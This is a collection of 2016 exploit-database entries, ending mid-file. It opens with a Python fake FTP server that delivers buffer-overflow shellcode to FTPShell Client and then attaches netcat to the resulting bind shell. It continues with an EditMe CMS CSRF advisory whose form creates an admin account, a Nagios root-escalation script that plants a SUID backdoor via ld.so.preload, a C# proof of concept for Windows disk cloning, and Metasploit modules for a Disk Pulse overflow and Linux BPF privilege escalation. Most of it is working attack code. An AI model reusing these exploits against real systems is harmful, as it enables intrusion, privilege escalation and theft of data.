# Date: 16/11/2016
# Author: Yunus YILDIRIM (Th3GundY)
# Team: CT-Zer0 (@CRYPTTECH) - http://www.ct-zer0.com
# Author Website: http://yildirimyunus.com
# Contact: yunusyildirim@protonmail.com
# Software Link: http://www.ftpshell.com/downloadclient.htm
# Tested on: Windows XP Professional SP 2
# Tested on: Windows 7 Ultimate 32bit, Home Premium 64bit

import socket
import sys
import os
import time


def banner():
    banner = "\n\n"
    banner += "  ██████╗████████╗  ███████╗███████╗██████╗  ██████╗     \n"
    banner += " ██╔════╝╚══██╔══╝  ╚══███╔╝██╔════╝██╔══██╗██╔═████╗    \n"
    banner += " ██║        ██║█████╗ ███╔╝ █████╗  ██████╔╝██║██╔██║    \n"
    banner += " ██║        ██║╚════╝███╔╝  ██╔══╝  ██╔══██╗████╔╝██║    \n"
    banner += " ╚██████╗   ██║     ███████╗███████╗██║  ██║╚██████╔╝    \n"
    banner += "  ╚═════╝   ╚═╝     ╚══════╝╚══════╝╚═╝  ╚═╝ ╚═════╝     \n"
    banner += "                                          \n"
    print banner


def usage():
    banner()
    print "[-] Missing arguments\n"
    print "[*] Usage: python FTPShell-exploit.py target_os"
    print "[*] Target types:\n\tWindows XP -> winxp\n\tWindows 7-32bit -> win7_32\n\tWindows 7-64bit -> win7_64\n"
    sys.exit(0)


def exploit(target_eip):
    s0ck3t = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s0ck3t.bind(("0.0.0.0", 21))
    s0ck3t.listen(5)
    print "[*] CT-Zer0 Evil FTP Server Listening port 21\n"

    # \x00\x0a\x0d\x22\xff
    # msfvenom -p windows/shell_bind_tcp LPORT=5656 -f c -b '\x00\x0a\x0d\x22\xff'
    shellcode = ("\xbb\x61\xad\x84\xdf\xda\xcc\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
                 "\x53\x31\x5a\x12\x83\xc2\x04\x03\x3b\xa3\x66\x2a\x47\x53\xe4"
                 "\xd5\xb7\xa4\x89\x5c\x52\x95\x89\x3b\x17\x86\x39\x4f\x75\x2b"
                 "\xb1\x1d\x6d\xb8\xb7\x89\x82\x09\x7d\xec\xad\x8a\x2e\xcc\xac"
                 "\x08\x2d\x01\x0e\x30\xfe\x54\x4f\x75\xe3\x95\x1d\x2e\x6f\x0b"
                 "\xb1\x5b\x25\x90\x3a\x17\xab\x90\xdf\xe0\xca\xb1\x4e\x7a\x95"
                 "\x11\x71\xaf\xad\x1b\x69\xac\x88\xd2\x02\x06\x66\xe5\xc2\x56"
                 "\x87\x4a\x2b\x57\x7a\x92\x6c\x50\x65\xe1\x84\xa2\x18\xf2\x53"
                 "\xd8\xc6\x77\x47\x7a\x8c\x20\xa3\x7a\x41\xb6\x20\x70\x2e\xbc"
                 "\x6e\x95\xb1\x11\x05\xa1\x3a\x94\xc9\x23\x78\xb3\xcd\x68\xda"
                 "\xda\x54\xd5\x8d\xe3\x86\xb6\x72\x46\xcd\x5b\x66\xfb\x8c\x33"
                 "\x4b\x36\x2e\xc4\xc3\x41\x5d\xf6\x4c\xfa\xc9\xba\x05\x24\x0e"
                 "\xbc\x3f\x90\x80\x43\xc0\xe1\x89\x87\x94\xb1\xa1\x2e\x95\x59"
                 "\x31\xce\x40\xf7\x39\x69\x3b\xea\xc4\xc9\xeb\xaa\x66\xa2\xe1"
                 "\x24\x59\xd2\x09\xef\xf2\x7b\xf4\x10\xea\x63\x71\xf6\x78\x84"
                 "\xd7\xa0\x14\x66\x0c\x79\x83\x99\x66\xd1\x23\xd1\x60\xe6\x4c"
                 "\xe2\xa6\x40\xda\x69\xa5\x54\xfb\x6d\xe0\xfc\x6c\xf9\x7e\x6d"
                 "\xdf\x9b\x7f\xa4\xb7\x38\xed\x23\x47\x36\x0e\xfc\x10\x1f\xe0"
                 "\xf5\xf4\x8d\x5b\xac\xea\x4f\x3d\x97\xae\x8b\xfe\x16\x2f\x59"
                 "\xba\x3c\x3f\xa7\x43\x79\x6b\x77\x12\xd7\xc5\x31\xcc\x99\xbf"
                 "\xeb\xa3\x73\x57\x6d\x88\x43\x21\x72\xc5\x35\xcd\xc3\xb0\x03"
                 "\xf2\xec\x54\x84\x8b\x10\xc5\x6b\x46\x91\xf5\x21\xca\xb0\x9d"
                 "\xef\x9f\x80\xc3\x0f\x4a\xc6\xfd\x93\x7e\xb7\xf9\x8c\x0b\xb2"
                 "\x46\x0b\xe0\xce\xd7\xfe\x06\x7c\xd7\x2a")

    buffer = "A" * 400 + target_eip + "\x90" * 40 + shellcode

    while True:
        victim, addr = s0ck3t.accept()
        victim.send("220 CT-Zer0 Evil FTP Service\r\n")
        print "[*] Connection accepted from %s\n" % addr[0]
        while True:
            data = victim.recv(1024)
            if "USER" in data:
                victim.send("331 User name okay, need password\r\n\r\n")
                print "\t[+] 331 USER = %s" % data.split(" ")[1],
            elif "PASS" in data:
                victim.send("230 Password accepted.\r\n230 User logged in.\r\n")
                print "\t[+] 230 PASS = %s" % data.split(" ")[1],
            elif "PWD" in data:
                victim.send('257 "' + buffer + '" is current directory\r\n')
                print "\t[+] 257 PWD"
                print "\n[*] Exploit Sent Successfully\n"
                time.sleep(2)
                print '[+] You got bind shell on port 5656\n'
                os.system('nc ' + str(addr[0]) + ' 5656')


if len(sys.argv) != 2:
    usage()
else:
    banner()
    try:
        if sys.argv[1] == "winxp":
            # 7C80C75B  JMP EBP kernel32.dll
            target_eip = "\x5B\xC7\x80\x7C"
        elif sys.argv[1] == "win7_32":
            # 76ad0299 jmp ebp  [kernel32.dll]
            target_eip = "\x99\x02\xAD\x76"
        elif sys.argv[1] == "win7_64":
            # 7619dfce jmp ebp  [kernel32.dll]
            target_eip = "\xCE\xDF\x19\x76"
        else:
            usage()
        exploit(target_eip)
    except:
        print "\n[O_o]  KTHXBYE!  [O_o]"
            
Document Title:
===============
EditMe CMS - CSRF Privilege Escalate Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1996


Release Date:
=============
2016-11-14


Vulnerability Laboratory ID (VL-ID):
====================================
1996


Common Vulnerability Scoring System:
====================================
2.8


Product & Service Introduction:
===============================
EditMe is a framework that serves as a Platform as a Service to build custom Web Applications, Web Prototyping,and Web CMS.
CMS in which any page can be a server side script that implements whatever dynamic functionality you dream up. That's EditMe. No FTP servers, compilers or IDEs required. EditMe's API uses server-side JavaScript and our templates use XML, so there are no new languages to lear.

(Copy of the Vendor Homepage: http://www.editme.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a csrf privilege escalate web vulnerability in the official EditMe content managament system.


Vulnerability Disclosure Timeline:
==================================
2016-11-14:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A cross site request forgery vulnerability has been discovered in the official EditMe content managament system.
The vulnerability allows to perform malicious client-side web-application requests to execute non-protected functions 
with own web context.

In the absence of security token, an attacker could execute arbitrary code in the administrators browser to gain 
unauthorized access to the administrator access privileges.


Proof of Concept (PoC):
=======================
Cross site request forgery web vulnerability can be exploited by malicious web application without privileged user account and without user interaction.
To demonstrate safety or reproduce csrf web vulnerability information and follow the steps below to continue provided.


--- PoC: CSRF Exploitation ---
<html>
<h2>Privilege Escalate CSRF Vulnerability</h2>
<form action="http://localhost/_Register" method="post"> 
<input name="mode" value="AdminAdd" type="hidden"> 
<input name="redirect" value="" type="hidden"> 
<td><select name="user-groupname">  
<option value="A"selected="">Administrator</option></select></td> 
<input name="user-username" value="VulnerabilityLab" type="hidden">
<input name="user-password" value="1234" type="hidden">
<input name="user-password2" value="1234" type="hidden">
<input name="user-email" value="tested@live.fr"type="hidden">
<input class="button" style="font-size:110%" name="regSubmit" value="Save" type="submit"> 
</form>
</html>


--- PoC Session Logs [POST]---
Status: 200 [OK]
Host: pentest.editme.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __utma=164978144.641387690.1478254033.1478262268.1478328738.3; __utmz=164978144.1478328738.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); km_lv=x; km_ai=i3E6P9IiO690CMxX353C5RCJAVY%3D; km_uq=; __utma=1.330307796.1478254213.1478254213.1478329355.2; __utmz=1.1478254213.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=164978144.3.10.1478328738; __utmc=164978144; JSESSIONID=377D65CA3361D7998A1173C97420C846; visited=" Home 404"; __utmb=1.24.10.1478329355; __utmc=1; __utmt=1; editme-user=admin; editme-key="ECiu7PBk57GYeaLPUxHeDw=="
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 153
-
POST Method: mode=AdminAdd&redirect=&user-groupname=A&user-username=VulnerabilityLab&user-password=1234&user-password2=1234&user-email=tested%40live.fr&regSubmit=Save



Security Risk:
==============
The security rsik of the client-side cross site request forgery web vulnerability in the application is estimated as medium. (CVSS 2.8)


Credits & Authors:
==================
ZwX -  (http://zwx.fr/)  )[http://www.vulnerability-lab.com/show.php?user=ZwX]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
            
Affected Product:    Nagios 4
Vulnerability Type:   root privilege escalation
Fixed in Version: N/A
Vendor Website:      	https://www.nagios.com/
Software Link: : 	https://sourceforge.net/projects/nagios/files/latest/download?source=directory-featured
Affected Version: 4.2.2 and prior
Tested on: Ubuntu
Remote Exploitable:  No
Reported to vendor:  8 november 2016
Disclosed to public: 
Release mode:        Responsible Disclosure
CVE-2016-8641 Nagios 4.2.2 - root privilege escalation
Credits:   Vincent Malguy


Description (from wikipedia) :
Nagios /ˈnɑːɡiːoʊs/, now known as Nagios Core, is a free and open source computer-software application that monitors systems, networks and infrastructure. Nagios offers monitoring and alerting services for servers, switches, applications and services. It alerts users when things go wrong and alerts them a second time when the problem has been resolved.

********************* CVE-2016-8641 Nagios 4.2.2 - root privilege escalation  *********************
Using official installation instruction  at https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/quickstart-ubuntu.html,
nagios' user is create with a shell :

Create a new nagios user account and give it a password.
/usr/sbin/useradd -m -s /bin/bash nagios

leading to a  entry in /etc/passwd like this "nagios:x:1001:1001::/home/nagios:/bin/bash"

This means that if someone has access to the nagios account, he can access any files own by nagios.

The Nagios startup script, run by root, is insecurely giving owner of file to nagios use :
(/etc/init.d/nagios: line 190)
touch $NagiosRunFile
chown $NagiosUser:$NagiosGroup $NagiosRunFile $NagiosVarDir/nagios.log $NagiosRetentionFile

If Nagios user symlink $NagiosRunFile to a file that he has no access to, at startup or reboot   of the nagios daemon, the init script with give him ownership of the linked file.


Exploit :
#!/bin/bash -p
#



TARGETSERVICE="Nagios"
LOWUSER="nagios"
TARGETPATH="/usr/local/nagios/var/nagios.lock"

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/rootbackdoor"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $TARGETPATH
touch $TARGETPATH
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}

function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
cleanexit 0
}

#intro
echo -e "\033[94m \nNagios - Root Privilege Escalation PoC Exploit \nNagios-chowned.sh (ver. 1.0)\n\nCVE-2016-XXXX \n"
echo -e "Discovered by: Vincent Malguy\n Original exploit code borrow from Dawid Golunski http://legalhackers.com (Thanks!)\033[0m"


# Priv check

echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q ${LOWUSER}
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as ${LOWUSER} user! Exiting.\n"
exit 3
fi


echo -e "\n[+] Target ${LOWUSER} file set to $TARGETPATH "

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
static uid_t  (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
//unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi

# Symlink the log file to /etc
rm -f $TARGETPATH && ln -s /etc/ld.so.preload $TARGETPATH
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $TARGETPATH file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TARGETPATH`"

# Kill target service if possible
#echo -ne "\n[+] Killing ${TARGETSERVICE}...\n"
#killall ${TARGETSERVICE}



# Wait for target service startup to re-create target file
echo -ne "\n[+] Waiting for ${TARGETSERVICE} startup to re-create the ${TARGETPATH}...\n"

while :; do
# if target file can be recreated by target process (like logs files), we need to keep remove and link it
rm -f $TARGETPATH && ln -s /etc/ld.so.preload $TARGETPATH
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $TARGETPATH
break;
fi
done

# /etc/ld.so.preload dir should be owned by our low priv controled  user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] ${TARGETSERVICE} restarted. The /etc/ld.so.preload file got created with ${LOWUSER} privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null


# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mGot root! The ${TARGETSERVICE} server has been ch-OWNED !\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi


# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p

# Job done.
cleanexit 0
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=916

Windows: VHDMP Arbitrary Physical Disk Cloning EoP
Platform: Windows 10 10586. No idea about 14393, 7 or 8.1 versions.
Class: Elevation of Privilege

Summary:
The VHDMP driver doesn’t open physical disk drives securely when creating a new VHD leading to information disclosure and EoP by allowing a user to access data they’re shouldn’t have access to.

Description:

The VHDMP driver is used to mount VHD and ISO files so that they can be accessed as a normal mounted volume. When creating a new VHD it’s possible to specify a physical drive to clone from, you’d assume that this feature would be limited to only administrators as accessing a physical disk for read access is limited to administrators group and system. However when calling VhdmpiTryOpenPhysicalDisk the driver uses ZwOpenFile and doesn’t specify the OBJ_FORCE_ACCESS_CHECK flag. As no other administrator checks are done this means that a normal user can clone the physical disk to another file which they can read, to bypass DACL checks on NTFS and extract data such as the SAM hive. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. It will create a new VHDX from a specified physical drive. Note as this is a physical clone it’ll presumably not bypass Bitlocker, but that’s not likely to be a major issue in a lot of cases.

1) Compile the C# source code file.
2) Execute the poc on Win 10 passing the path to the vhd file to create and the physical drive index of the drive to clone. If you run without arguments it’ll print which drives are available. You probably want to clone one drive to another otherwise you’d likely run out of space (and of course have enough space). It also should work to copy the vhd out to a network share.
3) It should print that it created the clone of the drive. If you now mount that VHD somewhere else it should contain the original file systems of the original disk.

Expected Result:
The VHD creation fails with access denied.

Observed Result:
The physical disk is cloned successfully.
*/

using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Runtime.InteropServices;
using System.Linq;

namespace Poc
{
    class Program
    {
        enum StorageDeviceType
        {
            Unknown = 0,
            Iso = 1,
            Vhd = 2,
            Vhdx = 3,
            VhdSet = 4,
        }

        [StructLayout(LayoutKind.Sequential)]
        struct VirtualStorageType
        {
            public StorageDeviceType DeviceId;
            public Guid VendorId;
        }

        enum OpenVirtualDiskFlag
        {
            None = 0,
            NoParents = 1,
            BlankFile = 2,
            BootDrive = 4,
            CachedIo = 8,
            DiffChain = 0x10,
            ParentcachedIo = 0x20,
            VhdSetFileOnly = 0x40,
        }

        enum CreateVirtualDiskVersion
        {
            Unspecified = 0,
            Version1 = 1,
            Version2 = 2,
            Version3 = 3,
        }
            
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
        struct CreateVirtualDiskParameters
        {            
            public CreateVirtualDiskVersion Version;
            public Guid UniqueId;
            public ulong MaximumSize;
            public uint BlockSizeInBytes;
            public uint SectorSizeInBytes;            
            [MarshalAs(UnmanagedType.LPWStr)]
            public string ParentPath;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourcePath;            
        }

        enum VirtualDiskAccessMask
        {
            None = 0,
            AttachRo = 0x00010000,
            AttachRw = 0x00020000,
            Detach = 0x00040000,
            GetInfo = 0x00080000,
            Create = 0x00100000,
            MetaOps = 0x00200000,
            Read = 0x000d0000,
            All = 0x003f0000
        }

        enum CreateVirtualDiskFlag
        {
            None = 0x0,
            FullPhysicalAllocation = 0x1,
            PreventWritesToSourceDisk = 0x2,
            DoNotcopyMetadataFromParent = 0x4,
            CreateBackingStorage = 0x8,
            UseChangeTrackingSourceLimit = 0x10,
            PreserveParentChangeTrackingState = 0x20,
        }        

        [DllImport("virtdisk.dll", CharSet=CharSet.Unicode)]
        static extern int CreateVirtualDisk(
            [In] ref VirtualStorageType VirtualStorageType,
            string Path,
            VirtualDiskAccessMask        VirtualDiskAccessMask,
            [In] byte[] SecurityDescriptor,
            CreateVirtualDiskFlag        Flags,
            uint ProviderSpecificFlags,
            [In] ref CreateVirtualDiskParameters Parameters,
            IntPtr  Overlapped,
            out IntPtr Handle
        );

        static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505");
        static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B");

        class PhysicalDisk
        {
            public uint Index { get; private set; }
            public string Name { get; private set; }
            public uint SectorSizeInBytes { get; private set; }
            public ulong SizeInBytes { get; private set; }            
            public string Model { get; private set; }

            public PhysicalDisk(ManagementObject wmi_object)
            {
                Index = (uint)wmi_object["Index"];
                Name = (string)wmi_object["DeviceId"];
                SectorSizeInBytes = (uint)wmi_object["BytesPerSector"];
                SizeInBytes = (ulong)wmi_object["Size"];                
                Model = (string)wmi_object["Model"];
            }

            static string FormatHuman(ulong l)
            {
                if (l < 1000 * 1000)
                    return l.ToString();

                l = l / (1000 * 1000);
                if (l < 1000)
                    return String.Format("{0}MB", l);

                l = l / (1000);
                if (l < 1000)
                    return String.Format("{0}GB", l);

                l = l / (1000);
                if (l < 1000)
                    return String.Format("{0}TB", l);

                return l.ToString();
            }

            public override string ToString()
            {
                return String.Format("{0}: Name={1}, Model={2}, Size={3}", Index, Name, Model, FormatHuman(SizeInBytes));
            }

            public static IEnumerable<PhysicalDisk> GetDisks()
            {
                SelectQuery selectQuery = new SelectQuery("Win32_DiskDrive");
                ManagementObjectSearcher searcher =
                    new ManagementObjectSearcher(selectQuery);
                foreach (ManagementObject disk in searcher.Get())
                {
                    yield return new PhysicalDisk(disk);
                }
            }
        }

        static PhysicalDisk GetPhysicalDisk(uint index)
        {
            PhysicalDisk disk = PhysicalDisk.GetDisks().First(d => d.Index == index);

            if (disk == null)
                throw new InvalidOperationException(String.Format("Can't find physical disk index {0}", index));

            return disk;
        }

        static void PrintPhysicalDisks()
        {
            foreach (PhysicalDisk disk in PhysicalDisk.GetDisks())
            {
                Console.WriteLine(disk);
            }            
        }

        static SafeFileHandle CreateVHD(string path, PhysicalDisk disk)
        {
            VirtualStorageType vhd_type = new VirtualStorageType();
            vhd_type.DeviceId = StorageDeviceType.Vhdx;
            vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;

            CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters();
            ps.Version = CreateVirtualDiskVersion.Version1;
            ps.SectorSizeInBytes = disk.SectorSizeInBytes;
            ps.MaximumSize = disk.SizeInBytes + (100 * 1024 * 1024);
            ps.SourcePath = disk.Name;
            IntPtr hDisk;
            int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk);
            if (error != 0)
            {
                throw new Win32Exception(error);
            }

            return new SafeFileHandle(hDisk, true);
        }        
        
        static void Main(string[] args)
        {
            try
            {                
                if (args.Length < 2)
                {
                    Console.WriteLine(@"[USAGE]: poc output.vhdx driveno");
                    Console.WriteLine("Where driveno is one of the following indexes");
                    PrintPhysicalDisks();
                    Environment.Exit(1);
                }
                
                string vhd_path = Path.GetFullPath(args[0]);
                vhd_path = Path.ChangeExtension(vhd_path, ".vhdx");
                File.Delete(vhd_path);
                PhysicalDisk disk = GetPhysicalDisk(uint.Parse(args[1]));
                                
                Console.WriteLine("[INFO]: Creating VHD {0} from {1}", vhd_path, disk.Name);
                
                using (SafeFileHandle handle = CreateVHD(vhd_path, disk))
                {
                    Console.WriteLine("[SUCCESS]: Created clone of physical disk");
                }                
            }
            catch (Exception ex)
            {
                Console.WriteLine("[ERROR]: {0}", ex.Message);
            }
        }
    }
}
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Disk Pulse Enterprise Login Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in Disk Pulse Enterprise
        9.0.34. If a malicious user sends a malicious HTTP login request,
        it is possible to execute a payload that would run under the Windows
        NT AUTHORITY\SYSTEM account. Due to size constraints, this module
        uses the Egghunter technique.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris Higgins', # msf Module -- @ch1gg1ns
          'Tulpa Security' # Original discovery -- @tulpa_security
        ],
      'References'     =>
        [
          [ 'EDB', '40452' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars' => "\x00\x0a\x0d\x26"
        },
      'Targets'        =>
        [
          [ 'Disk Pulse Enterprise 9.0.34',
            {
              'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll
              'Offset' => 12600
            }
          ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Oct 03 2016',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(80)], self.class)

  end

  def check
    res = send_request_cgi({
      'uri'    => '/',
      'method' => 'GET'
    })

    if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect
    eggoptions =
    {
      :checksum => true,
      :eggtag => "w00t"
    }

    print_status("Generating exploit...")

    sploit =  "username=admin"
    sploit << "&password=aaaaa\r\n"

    # Would like to use generate_egghunter(), looking for improvement
    egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
    egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

    sploit << rand_text(target['Offset'] - payload.encoded.length)
    sploit << "w00tw00t"
    sploit << payload.encoded
    sploit << make_nops(70)
    sploit << rand_text(1614)
    # Would like to use generate_seh_record(), looking for improvement
    sploit << "\x90\x90\xEB\x0B"
    sploit << "\x33\xA3\x01\x10"
    sploit << make_nops(20)
    sploit << egghunter
    sploit << make_nops(7000)

    # Total exploit size should be 21747
    print_status("Total exploit size: " + sploit.length.to_s)
    print_status("Triggering the exploit now...")
    print_status("Please be patient, the egghunter may take a while...")

    res = send_request_cgi({
      'uri' => '/login',
      'method' => 'POST',
      'content-type' => 'application/x-www-form-urlencoded',
      'content-length' => '17000',
      'data' => sploit
    })

    handler
    disconnect

  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'Linux BPF Local Privilege Escalation',
        'Description'   => %q{
          Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
          sysctl is not set to 1, BPF can be abused to priv escalate.
          Ubuntu 16.04 has all of these conditions met.
        },
        'License'       => MSF_LICENSE,
        'Author'        =>
          [
            'jannh@google.com',                    # discovery
            'h00die <mike@shorebreaksecurity.com>' # metasploit module
          ],
        'Platform'      => [ 'linux' ],
        'Arch'          => [ ARCH_X86, ARCH_X86_64 ],
        'SessionTypes'  => [ 'shell', 'meterpreter' ],
        'References'    =>
          [
            [ 'CVE', '2016-4557' ],
            [ 'EDB', '39772' ],
            [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ],
            [ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ]
          ],
        'Targets'       =>
          [
            [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
            [ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ]
          ],
        'DefaultOptions' =>
          {
            'payload' => 'linux/x64/mettle/reverse_tcp',
            'PrependFork' => true,
            'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
            },
        'DefaultTarget' => 1,
        'DisclosureDate' => 'May 04 2016',
        'Privileged'     => true
      }
      ))
    register_options([
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
        OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
        OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
      ], self.class)
  end

  def check
    def check_config_bpf_syscall?()
      output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`')
      if output == 'CONFIG_BPF_SYSCALL=y'
        vprint_good('CONFIG_BPF_SYSCALL is set to yes')
        return true
      else
